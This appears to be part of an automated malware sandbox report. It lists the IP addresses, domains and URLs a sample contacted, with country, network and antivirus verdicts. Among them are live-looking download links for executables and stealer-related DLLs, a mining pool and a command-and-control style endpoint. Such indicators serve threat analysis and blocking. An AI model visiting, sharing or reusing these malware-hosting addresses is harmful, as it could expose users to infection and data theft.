77.105.132.27
 unknown Russian Federation
42031 PLUSTELECOM-ASRU false
3.5.20.219
 s3-w.us-east-1.amazonaws.com United States
14618 AMAZON-AESUS false
77.105.135.107
 unknown Russian Federation
42031 PLUSTELECOM-ASRU true
162.159.133.233
 cdn.discordapp.com United States
13335 CLOUDFLARENETUS false
207.180.253.128
 tea.arpdabl.org Germany
51167 CONTABODE false
49.13.159.121
 unknown Germany
24940 HETZNER-ASDE false
5.42.99.177
 unknown Russian Federation
39493 RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU false
77.91.77.81
 unknown Russian Federation
42861 FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU false
77.91.77.80
 unknown Russian Federation
42861 FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU false
188.114.96.3
 lop.foxesjoy.com European Union
13335 CLOUDFLARENETUS false
45.130.41.108
 monoblocked.com Russian Federation
198610 BEGET-ASRU false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
a.884736279.xyz 79.174.95.43 true
bitbucket.org 104.192.141.1 true
tea.arpdabl.org 207.180.253.128 true
env-3936544.jcloud.kz 185.22.66.16 true
monoblocked.com 45.130.41.108 true
d1u0l9f6kr1di3.cloudfront.net 13.225.78.36 true
helsinki-dtc.com 194.67.87.38 true
t.me 149.154.167.99 true
lop.foxesjoy.com 188.114.96.3 true
cdn.discordapp.com 162.159.133.233 true
sun6-21.userapi.com 95.142.206.1 true
iplogger.org 172.67.132.113 true
pool.hashvault.pro 142.202.242.45 true
fp2e7a.wpc.phicdn.net 192.229.221.95 true
s3-w.us-east-1.amazonaws.com 3.5.20.219 true
api.myip.com 104.26.9.59 true
potterryisiw.shop 188.114.97.3 true
ipinfo.io 34.117.186.192 true
sun6-22.userapi.com 95.142.206.2 true
service-domain.xyz 54.210.117.250 true
sun6-23.userapi.com 95.142.206.3 true
googlehosted.l.googleusercontent.com 142.250.181.225 true
checkdata-1114476139.us-west-2.elb.amazonaws.com 44.240.96.128 true
vk.com 87.240.132.78 true
bbuseruploads.s3.amazonaws.com unknown unknown
www.rapidfilestorage.com unknown unknown
clients2.googleusercontent.com unknown unknown
ellaboratepwsz.xyz unknown unknown
api2.check-data.xyz unknown unknown
skrptfiles.tracemonitors.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
77.105.135.107:3445 true
  • Avira URL Cloud: safe
 unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll true
  • Avira URL Cloud: malware
 unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll true
  • Avira URL Cloud: malware
 unknown
https://a.884736279.xyz/385137/setup.exe false
  • Avira URL Cloud: safe
 unknown
http://helsinki-dtc.com/updates/yd/wrtzr_yt_a_1/win/version.txt?ZOmFPgPUTVZNbWpVqvSvPLQtsthTrEhbx false
  • Avira URL Cloud: malware
 unknown
http://helsinki-dtc.com/updates/yd/yt_wrtzr_1/win/version.txt?BaGHTJrEOqpSoOUUbPmVVgUlkCFxoVbnT false
  • Avira URL Cloud: malware
 unknown
https://vk.com/doc851967711_678965991?hash=15v5bIC0BdxsDWrpl71N2Lf9ztIhZN508DquMzIAGCz&dl=yDzL4lhSc6Qh08VS3lx8KlKwYrkSiYGlwvhnSbB1cMD&api=1&no_preview=1#1 false
  • Avira URL Cloud: safe
 unknown
http://www.rapidfilestorage.com/clrls/cl_rls.json false
  • Avira URL Cloud: malware
 unknown
https://sun6-21.userapi.com/c235031/u851967711/docs/d19/e642d2d3ea8a/File.bmp?extra=codZE4oOkF_mb0aHMW2_KJkLotDgGHzpcd-JeGF88YLnbk2Qm4WcZoXVvzJ1HuH2HaOhqgSp6_uV0Z6TCfxUYwreX5Rq2H_XmfQYz82S4_LBrsYcRulTXC2HKGtLY-ovV1tbmUk3ivmp false
  • Avira URL Cloud: safe
 unknown
http://80.78.242.100/d/525403 false
  • Avira URL Cloud: safe
 unknown
https://vk.com/doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfeEiGdn2IU9JTEdwqaRFTDnZMFQJn7v9z&api=1&no_preview=1#ww11 false
  • Avira URL Cloud: safe
 unknown
https://vk.com/doc851967711_678909859?hash=lNew8DPFlC3FkyFwDvSRD3AUel2qUbt8XwQ47izbny0&dl=VoWAeLPwa3VHUZ6RGMrmgXoJxs6sK0ufCNL8HdLsSa4&api=1&no_preview=1#xin false
  • Avira URL Cloud: safe
 unknown
http://www.rapidfilestorage.com/updates/yd/wrtzr_yt_a_1/win/version.txt?lkNOHJiXnxKRAffVlKrZwoIEmkviEhCxR false
  • Avira URL Cloud: malware
 unknown
http://www.rapidfilestorage.com/updates/yd/yt_wrtzr_1/win/version.txt?BAxskCrAzBkAQLhyBAyQiyrSwfaJVtVcO false
  • Avira URL Cloud: malware
 unknown
https://cdn.discordapp.com/attachments/1255737669737254954/1257455463088394404/setup.exe?ex=66847828&is=668326a8&hm=9a0a6baa5ff045d491afd87efad3dd033618cc8c5ce04018ccc10ef67b97fd67& false
  • Avira URL Cloud: safe
 unknown
http://77.105.133.27/download/th/space.php false
  • Avira URL Cloud: malware
 unknown
http://77.105.133.27/download/123p.exe false
  • Avira URL Cloud: malware
 unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll true
  • Avira URL Cloud: malware
 unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll true
  • Avira URL Cloud: malware
 unknown
https://vk.com/doc461844031_680356434?hash=KmXLjZzwyKBjmzxff0Jo9U1YwRL71yZftAbVL5kdyKD&dl=3v6LT2A7IS0PX4HrE4vRkDm0d4mbocnTvyEbLzKxGUP&api=1&no_preview=1#def_meta false
  • Avira URL Cloud: safe
 unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dll true
  • Avira URL Cloud: malware
 unknown
http://85.28.47.4/920475a59bac849d.php true
  • Avira URL Cloud: malware
 unknown
https://api.myip.com/ false
  • Avira URL Cloud: safe
 unknown
http://api2.check-data.xyz/api2/google_api_ifi false
  • Avira URL Cloud: malware
 unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dll true
  • Avira URL Cloud: malware
 unknown